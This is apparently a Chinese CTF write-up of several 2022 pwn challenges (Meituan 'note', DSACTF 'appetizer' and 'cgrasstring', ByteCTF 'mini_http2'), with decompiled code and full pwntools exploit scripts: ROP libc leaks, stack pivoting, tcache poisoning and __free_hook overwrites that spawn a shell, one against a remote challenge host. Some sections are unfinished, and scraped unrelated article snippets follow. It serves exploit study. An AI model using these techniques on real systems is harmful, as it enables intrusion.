复现随记~
note(美团2022)
比较简单的越界漏洞,堆本身并没有什么漏洞,而且保护并没全开,所以逆向思维。必然是ROP类而非指针类,故我们着重注意unsigned int
等无符号数前后是否不一致
int __fastcall edit(__int64 a1)
{int idx; // [rsp+14h] [rbp-Ch]void *buf; // [rsp+18h] [rbp-8h]printf("Index: ");idx = readInt();if ( idx > 16 || !*(_QWORD *)(16LL * idx + a1) )// 判断点,存在越界漏洞return puts("Not allowed");buf = *(void **)(16LL * idx + a1);printf("Content: ");return read(0, buf, *(int *)(16LL * idx + a1 + 8));
}
这里其实存在两个越界,一个是输入负数存在二级指针,进而ROP获取权限;第二个越界则为输入16则获取到一个悬空指针(但是没有什么用,测试U20).
from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './note'
r = process(binary)
elf = ELF(binary)
libc = elf.libcputs_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x00000000004017b3
start_addr = 0x0000000000401150
retn = 0x000000000040157Fdef edit(idx,payload):r.sendlineafter("5. leave\n",'3')r.sendlineafter("Index: ",str(idx))r.sendlineafter("Content: ",payload)pwndbg = lambda t : gdb.attach(t) and pause()payload = flat({0x8: pop_rdi_ret ,0x10: puts_got ,0x18: puts_plt ,0x20: start_addr
})
sleep(0.3)
edit(-6,payload)libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x84420
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
system = libc_base+libc.sym['system']
binsh = libc_base+0x00000000001b45bdpayload = flat([b'bbbbbbbb',pop_rdi_ret,binsh,pop_rsi_ret,0,pop_rdx_ret,0,retn,system])
success(hex(libc_base))
#pwndbg(r)
edit(-6,payload)r.interactive()
smtp(美团2022)(未完
32位程序,逻辑比较简单
while ( 1 ){v12 = epoll_wait(epfd, events, 1, -1);for ( i = 0; i < v12; ++i ){if ( fd == events[i].data.fd ){addr_len = 128;client_sock = accept(fd, &addr, &addr_len);// 接受客户端socket请求v1 = (const void *)get_in_addr(&addr);inet_ntop(addr.sa_family, v1, addr_ip, 0x2Eu);// 获取客户端ip地址printf("listener: got connection from %s\n", addr_ip);// 打印客户端ip地址arg = malloc(0x14u);*(_DWORD *)arg = client_sock; // 作为参数传入线程函数之中*((_DWORD *)arg + 1) = 0;pthread_create(&newthread, 0, session_worker, arg);// 创建线程进行交互puts("listener: initiated a new session worker");}}}
而漏洞必然是存在于session_worker函数之中,因为该函数是于socket交互的函数,如果存在溢出等异常大概率出现于此函数之中;
DSACTF2022九月月赛
这次月赛比较简单,没有什么难题;
像appetizer(orw栈easy
这类题目以后就不再记录了,因为太过于简单了;
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 stackOver; // [rsp+0h] [rbp+0h] BYREFinit();write(1, "Welcome to CBCTF!\n", 0x12uLL);func();check();write(1, "You are our VIP!So we will give you a VIP card!\n", 0x30uLL);printf("Here you are:%p\n", &bss_jmp);write(1, "And pls write your own information on it\n", 0x29uLL);read(0, &bss_jmp, 0x108uLL); // ROPwrite(1, "Tell me your wish:\n", 0x13uLL);read(0, &stackOver, 0x10uLL); // 栈迁移即可return 0;
}
这道题目比较简单,orw即可,这里脚本之中没有写orw的payload,需自行添加orw即可攻击(地址已经泄露,但不想再写个orw了)
import code
from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './appetizer'
r = process(binary)
elf = ELF(binary)
libc = elf.libcpwngdb = lambda t : gdb.attach(t) and pause()r.sendafter("identity\n",b'\x01\x01'+p64(0x7373656C656D614E))
r.recvuntil("0x")
jmp_addr = int(r.recv(12),16)
code_base = jmp_addr-0x4050
main_addr = code_base+0x00000000000013A5
retn = code_base+0x146F
leave_ret = code_base+0x13A3
pop_rdi_ret = code_base+0x00000000000014d3
read_got = code_base+elf.got['read']
write_got = code_base+elf.got['write']
puts_got = code_base+elf.got['puts']one1 = code_base+0x14CA
one2 = code_base+0x14B0pwngdb(r)
payload = flat([one1,0,1,1,puts_got,0x8,write_got,one2,0,0,1,0,jmp_addr,0x500,read_got,one2
])
r.sendafter("on it\n",payload)
r.sendafter("Tell me your wish:\n",p64(jmp_addr-8)+p64(leave_ret))
libc_base = u64(r.recv(8))-0x84420orw = b''
r.send(orw)success(hex(code_base))
success(hex(libc_base))r.interactive()
像其它的四道题目都也比较简单,cyberprinter格式化字符串漏洞(虽然过滤了p、P、x、X,但不妨碍我们利用);bar是个UAF直接泄露了地址;cgrasstring是道C++题目,但底层依然是我们的malloc;eznote是个整数溢出,但是这个整数安全比较隐蔽,不容易发现;
整体来说,cgrasstring比较好,毕竟是C++;
这里本地测试og不顶用(尽管使用了relloc偏移),故采用了劫持free_hook为system;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './cgrasstring'
r = process(binary)
elf = ELF(binary)
libc = elf.libcdef add(size,payload=b'/bin/sh\x00'):r.sendlineafter("Your choice:",'1')r.sendlineafter("size:",str(size))r.sendafter("content:",payload)def edit(idx,size,payload=b'\x00'):r.sendlineafter("Your choice:",'2')r.sendlineafter("idx",str(idx))r.sendlineafter("size",str(size))r.sendafter("content\n",payload)def show(idx):r.sendlineafter("Your choice:",'3')r.sendlineafter("idx",str(idx))
pwndbg = lambda t:gdb.attach(t) and pause()''' 神奇的BUG
for i in range(9):add(0x80)
for i in range(7):edit(i,0x90)''''''add(0x20,b'a')
add(0x20,p64(0)+p64(0x31))
add(0x20,b'c')
edit(0,0x30,b'\xe0')
add(0x20,b'd'*0x18+p64(0x31))'''
one = [0x4f2a5,0x4f302,0x10a2fc]
one = [0x4f2c5,0x4f322,0x10a38c]
for i in range(9):add(0x80)
edit(0,0x90,b'\x70')
edit(1,0x90,b'\x00')
edit(2,0x90,b'\x90')
edit(3,0x90,b'\x20')
edit(4,0x90,b'\xb0')
edit(5,0x90,b'\x40')
edit(6,0x90,b'\xa0')show(6)
hook = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x20
libc_base = hook-libc.sym['__malloc_hook']+0x10
realloc = libc_base+libc.symbols['__libc_realloc']#+0x98C50
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']add(0x20,b'/bin/sh\x00')#9
edit(9,0x30,p64(free_hook))
#add(0x20,b'b'*8+p64(libc_base+one[0])+p64(realloc+2))
add(0x20,p64(system))
success(hex(libc_base))
success(hex(hook))
pwndbg(r)
#r.sendlineafter("Your choice:",'1')
#r.sendlineafter("size:",str(0x60))
r.sendlineafter("Your choice:",'2')
r.sendlineafter("idx",str(9))
r.sendlineafter("size",str(0xf0))r.interactive()
mini_http2(byte2022签到)
需要一定的逆向能力以及高版本tcache攻击手法,整体比较简答,属于签到题目;
针对note函数进行分析,发现其中存在人为的hook,以及存在着堆溢出漏洞;
hook(__free_hook)函数:
存在堆溢出漏洞,但却存在着\x00截断;
如下攻击成功;
from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './pwn'
r = process(binary)
#r = gdb.debug("./pwn",'set debug-file-directory /home/pwn/tools/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/.debug/')CHALLENGE_ID = 'f9d6161a9655d4851029079493bb7fe8'
r = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)elf = ELF(binary)
libc = elf.libcdef code1(size,choice):pay = p8((size&0xff0000)>>16)+p8((size&0xff00)>>8)+p8(size&0xff)pay += p8(choice)+b'\x05\x00\x00\x00\x00'return pay
def code2(choice,size):pay = p8(choice)+b'\x86\x44'pay += p8((size&0xff000000)>>24)+p8((size&0xff0000)>>16)+p8((size&0xff00)>>8)+p8(size&0xff)return paydef admin_register(username,password):payload=b"/register?"+b"username="+bytes(username.encode())+b"&password="+bytes(password.encode())+b"&"temp2=code2(0x82,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)def admin_login(username,password):payload=b"/login?"+b"username="+bytes(username.encode())+b"&password="+bytes(password.encode())+b"&"temp2=code2(0x82,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)def admin_exit():payload=b"/exit"temp2=code2(0x82,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)def add_workder(name,desc):payload=b"/api/add_worker"temp2=code2(0x83,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)payload=b"{\"name\":\""+name+b"\",\"desc\":\""+desc+b"\"}"temp1=code1(len(payload),0)r.send(temp1)r.send(payload)def del_workder(idx):payload=b"/api/del_worker"temp2=code2(0x83,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)payload=b"{\"worker_idx\":"+bytes(str(idx).encode())+b"}"temp1=code1(len(payload),0)r.send(temp1)r.send(payload)def show_workder(idx):payload=b"/api/show_worker"temp2=code2(0x83,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)payload=b"{\"worker_idx\":"+bytes(str(idx).encode())+b"}"temp1=code1(len(payload),0)r.send(temp1)r.send(payload)def edit_workder(idx,new_name,new_desc):payload=b"/api/edit_worker"temp2=code2(0x83,len(payload))+payloadtemp1=code1(len(temp2),1)#code=temp1+temp2r.send(temp1)r.send(temp2)payload=b"{\"worker_idx\":"+bytes(str(idx).encode())+b",\"name\":\""+new_name+b"\",\"desc\":\""+new_desc+b"\"}"temp1=code1(len(payload),0)r.send(temp1)r.send(payload)sd = lambda buf:pause() and r.send(buf)
pwndbg = lambda t: gdb.attach(t) and pause()#===============leak=================
admin_register("/bin/sh","123")
admin_login("/bin/sh","123")
r.recvuntil("gift': \"0x")
libc_base = int(r.recv(12),16)-0xC4200
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add_workder(b"/bin/sh",b"/bin/sh") # 0
r.recvuntil("0x")
heap_base = int(r.recv(12),16)-0x4D0-0x140
high_heap_addr = (heap_base+0xda0)>>12add_workder(b"a"*0xa0,b"b"*0xa0) # 1
add_workder(b"c"*0xa0,b"d"*0xa0) # 2
del_workder(2) # 2
edit_workder(1,b'e'*0xa8+b'\x70\x02',b'f'*0xe0+p64(high_heap_addr^(free_hook-0x98))[:6])
add_workder(b"lwd1",b"g"*0xa0) # 2
add_workder(b"lwd2",b"h"*0x98+p64(system)[:6]) # 3
#edit_workder(3,b"lwd2",p64(system)[:6])
#add_workder(b"lwd3",b'c'*0x60) # 2
success(hex(heap_base))
success(hex(libc_base))pause()
admin_exit()r.interactive()
相关文章:
复现随记~
note(美团2022) 比较简单的越界漏洞,堆本身并没有什么漏洞,而且保护并没全开,所以逆向思维。必然是ROP类而非指针类,故我们着重注意unsigned int等无符号数前后是否不一致 int __fastcall edit(__int64 a1) {int idx; // [rsp14…...
【计组】设计大型DMP系统--《深入浅出计算机组成原理》(十四)
目录 一、DMP:数据管理平台 二、MongoDB 真的万能吗 三、关系型数据库:不得不做的随机读写 (一)Cassandra:顺序写和随机读 1、Cassandra 的数据模型 2、Cassandra 的写操作 3、Cassandra 的读操作 (…...
66 使用注意力机制的seq2seq【动手学深度学习v2】
66 使用注意力机制的seq2seq【动手学深度学习v2】 深度学习学习笔记 学习视频:https://www.bilibili.com/video/BV1v44y1C7Tg/?spm_id_from…top_right_bar_window_history.content.click&vd_source75dce036dc8244310435eaf03de4e330 在机器翻译时,…...
NextJS(ReactSSR)
pre-render: 预渲染 1. 静态化 发生的时间:next build 1). 纯静态化 2). SSG: server static generator getStaticProps: 当渲染组件之前会运行 生成html json //该函数只可能在服务端运行 //该函数运行在组件渲染之前 //该函数只能在build期间运…...
JointBERT代码复现详解【上】
BERT for Joint Intent Classification and Slot Filling代码复现【上】 源码链接:JointBERT源码复现(含注释) 一、准备工作 源码架构 data:存放两个基准数据集;model:JointBert模型的实现;…...
进程间通信(上)
进程间通信(上)背景进程间通信目的进程间通信发展进程间通信分类管道什么是管道匿名管道实例代码简单的匿名管道实现一个父进程控制单个子进程完成指定任务父进程控制一批子进程完成任务(进程池)用fork来共享管道站在文件描述符角…...
【Unity3D】Unity 3D 连接 MySQL 数据库
1.Navicat准备 test 数据库,并在test数据库下创建 user 数据表,预先插入测试数据。 2.启动 Unity Hub 新建一个项目,然后在Unity编辑器的 Project视图 中,右击新建一个 Plugins 文件夹将连接 MySQL的驱动包 导入(附加驱…...
vue通用后台管理系统
用到的js库 遇到的问题 vuex和 localStorage区别 vuex在内存中,localStorage存在本地localStorage只能存储字符串类型数据,存储对象需要JSON.stringify() 和 parse()…读取内存比读取硬盘速度要快刷新页面vuex数据丢失,localStorage不会vuex…...
IDEA设置只格式化本次迭代变更的代码
趁着上海梅雨季节,周末狠狠更新一下。平常工作在CR的时候,经常发现会有新同事出现大量代码变更行..一看原因竟是在格式化代码时把历史代码也格式化掉了这样不仅坑了自己(覆盖率问题等),也可能会影响原始代码责任到人&a…...
算法训练——剑指offer(Hash集合问题)
摘要 数据结构中有一个用于存储重要的数据结构,它们就是HashMap,HasSet,它典型特征就是存储key:value键值对。在查询制定的key的时候查询效率最高O(1)。Hashmap,HasSet的底层结构是如图所示。它们的区别就是是否存在重复的元素。 二、HashMa…...
Element UI框架学习篇(七)
Element UI框架学习篇(七) 1 新增员工 1.1 前台部分 1.1.1 在vue实例的data里面准备好需要的对象以及属性 addStatus:false,//判断是否弹出新增用户弹窗dailog,为true就显示depts:[],//部门信息mgrs:[],//上级领导信息jobs:[],//工作岗位信息//新增用户所需要的对象newEmp:…...
【项目实战】32G的电脑启动IDEA一个后端服务要2min!谁忍的了?
一、背景 本人电脑性能一般,但是拥有着一台高性能的VDI(虚拟桌面基础架构),以下是具体的配置 二、问题描述 但是,即便是拥有这么高的性能,每次运行基于Dubbo微服务架构下的微服务都贼久,以下…...
2022年山东省中职组“网络安全”赛项比赛任务书正式赛题
2022年山东省中职组“网络安全”赛项 比赛任务书 一、竞赛时间 总计:360分钟 竞赛阶段竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 A模块 A-1 登录安全加固 180分钟 200分 A-2 Nginx安全策略 A-3 日志监控 A-4 中间件服务加固 A-5 本地安全策略…...
RibbitMQ 入门到应用 ( 二 ) 安装
3.安装基本操作 3.1.下载安装 3.1.1.官网 下载地址 https://rabbitmq.com/download.html 与Erlang语言对应版本 https://rabbitmq.com/which-erlang.html 3.1.2.安装 Erlang 在确定了RabbitMQ版本号后,先下载安装Erlang环境 Erlang下载链接 https://packa…...
提取DataFrame中每一行的DataFrame.itertuples()方法
【小白从小学Python、C、Java】【计算机等级考试500强双证书】【Python-数据分析】提取DataFrame中的每一行DataFrame.itertuples()选择题关于以下python代码说法错误的一项是?import pandas as pddf pd.DataFrame({A:[a1,a2],B:[b1,b2]},index[i1,i2])print("【显示】d…...
基于卷积神经网络的立体视频编码质量增强方法_余伟杰
基于卷积神经网络的立体视频编码质量增强方法_余伟杰提出的基于TSAN的合成视点质量增强方法全局信息提取流像素重组局部信息提取流多尺度空间注意力机制提出的基于RDEN的轻量级合成视点质量增强方法特征蒸馏注意力块轻量级多尺度空间注意力机制概念扭曲失真孔洞问题失真和伪影提…...
【2023unity游戏制作-mango的冒险】-3.基础动作和动画API实现
👨💻个人主页:元宇宙-秩沅 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 本文由 秩沅 原创 收录于专栏:unity游戏制作 ⭐mango的基础动作动画的添加⭐ 文章目录⭐mango的基础动作动画的添加⭐…...
跨域的几种解决方案?
1-jsonp 【前端后端实现】jsonp: 利用 <script> 标签没有跨域限制的漏洞,网页可以得到从其他来源动态产生的 JSON 数据。JSONP请求一定需要对方的服务器做支持才可以。JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅…...
2022年山东省职业院校技能大赛网络搭建与应用赛项正式赛题
2022年山东省职业院校技能大赛 网络搭建与应用赛项 第二部分 网络搭建与安全部署&服务器配置及应用 竞赛说明: 一、竞赛内容分布 竞赛共分二个模块,其中: 第一模块:网络搭建及安全部署项目 第二模块:服务…...
【JUC并发编程】ArrayBlockingQueue和LinkedBlockingQueue源码2分钟看完
文章目录1、BlockingQueue1)接口方法2)阻塞队列分类2、ArrayBlockingQueue1)构造函数2)put()入队3)take()出队3、LinkedBlockingQueue1)构造函数2)put()入队3)take()出队1、Blocking…...
GitHub个人资料自述与管理主题设置
目录 关于您的个人资料自述文件 先决条件 添加个人资料自述文件 删除个人资料自述文件 管理主题设置 补充:建立一个空白文件夹 关于您的个人资料自述文件 可以通过创建个人资料 README,在 GitHub.com 上与社区分享有关你自己的信息。 GitHub 在个…...
Express篇-连接mysql
创建数据库配置文件config/sqlconfig.jsconst sqlconfig {host: localhost, // 连接地址user: root, //用户名password: ****, //密码port: 3306 , //端口号database: mysql01_dbbooks //数据库名 } module.exports sqlconfig封装数据库管理工具 utils/mysqlUtils.…...
win10 安装rabbitMQ详细步骤
win10 安装rabbitMQ详细步骤 win10 安装rabbitMQ详细步骤win10 安装rabbitMQ详细步骤一、下载安装程序二、安装配置erlang三、安装rabbitMQ四、验证初始可以通过用户名:guest 密码guest来登录。报错:安装RabbitMQ出现Plugin configuration unchanged.问题…...
【成为架构师课程系列】一线架构师:6个经典困惑及其解法
目录 一线架构师:6个经典困惑及其解法 多阶段还是多视图? 内置最佳实践 架构方法论:3个阶段,一个贯穿 Pre-architecture阶段:ADMEMS矩阵方法 Conceptual Architecture阶段:重大需求塑造做概念架构 Refined Architecture…...
光耦合器的定义与概述
光耦合器或光电耦合器是一种电子元件,基本上充当具有不同电压电平的两个独立电路之间的接口。光耦合器是可在输入和输出源之间提供电气隔离的常用元件。它是一个 6 引脚器件,可以有任意数量的光电探测器。 在这里,光源发出的光束作为输入和输…...
谷粒商城--品牌管理详情
目录 1.简单上传测试 2.Aliyun Spring Boot OSS 3.模块mall-third-service 4.前端 5.数据校验 6.JSR303数据校验 7.分组校验功能 8.自定义校验功能 9.完善代码 1.简单上传测试 OSS是对象存储服务,有什么用呢?把图片存储到云服务器上能让所有人…...
stack、queue和priority_queue
目录 一、栈(stack) 1.stack的使用 2.容器适配器 3.stack的模拟实现 二、队列(queue) 1.queue的使用 2.queue的模拟实现 三、双端队列(deque) 1.vector,list的优缺点 2.认识deque 四…...
面试题(二十二)消息队列与搜索引擎
2. 消息队列 2.1 MQ有什么用? 参考答案 消息队列有很多使用场景,比较常见的有3个:解耦、异步、削峰。 解耦:传统的软件开发模式,各个模块之间相互调用,数据共享,每个模块都要时刻关注其他模…...
Spring Security in Action 第三章 SpringSecurity管理用户
本专栏将从基础开始,循序渐进,以实战为线索,逐步深入SpringSecurity相关知识相关知识,打造完整的SpringSecurity学习步骤,提升工程化编码能力和思维能力,写出高质量代码。希望大家都能够从中有所收获&#…...
Java面试——maven篇
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏…...
wordpress发送邮箱验证码/北京seo招聘信息
中秋节快乐! 转载于:https://www.cnblogs.com/Alanf/p/9687702.html...
营销网站模版/成都网站排名生客seo怎么样
异步FIFO为什么要使用格雷码(笔记) 首先要了解的是异步FIFO使用格雷码的唯一目的就是: “即使在亚稳态进行读写指针抽样也能进行正确的空满状态判断”。 那么典型的判断方法是怎样进行的呢?以满状态判断为例,先要对读指针(属于读…...
网络建设设计方案/免费seo课程
我在我的PHP脚本(PHP 5.6,Apache 2.2)中间歇性地遇到了这个问题:Warning: Cannot modify header information – headers already sent in /path/to/index.PHP on line 55这个警告没有我在其他问题中看过的“发送者”部分,所以我在违规的header()和setcookie()调用之…...
wordpress建设的是模板网站吗/网站seo排名优化工具
idle connect ( 已经建立完成了TCP三次握手 ) open sent open confirm establish connect 和 active 都是 TCP 连接阶段, active 是发起方, connect 是应答方 Idle State 1 BGP 通常以 Idle State 开始( 此时拒绝接收所有入连接 )。当一个开始事件出现, BGP 过程初始化所…...
wordpress邮箱验证配置/外贸推广平台哪个好
对于摄影爱好者,相机是出游必备的,但如果相机内存卡照片丢失该如何恢复?一般相机内存卡照片丢失,自己是无法恢复的,需要使用迅米数据恢复软件进行恢复。具体步骤如下: 1.选择内存卡/u盘数据恢复 首先将内存…...
做页面设计的网站/宁波seo推广推荐
"将一个类的接口转换成客户希望的另一个接口,Adapter模式使原本由于接口不兼容而不能一起工作的类可以一起工作" 。简单的说,就是利用现有的接口去包装一个第三方的接口, 使其能象现有接口一样被程序调用,而不考虑实际使用类的差异 意图将一个类的接口转换成客户希望…...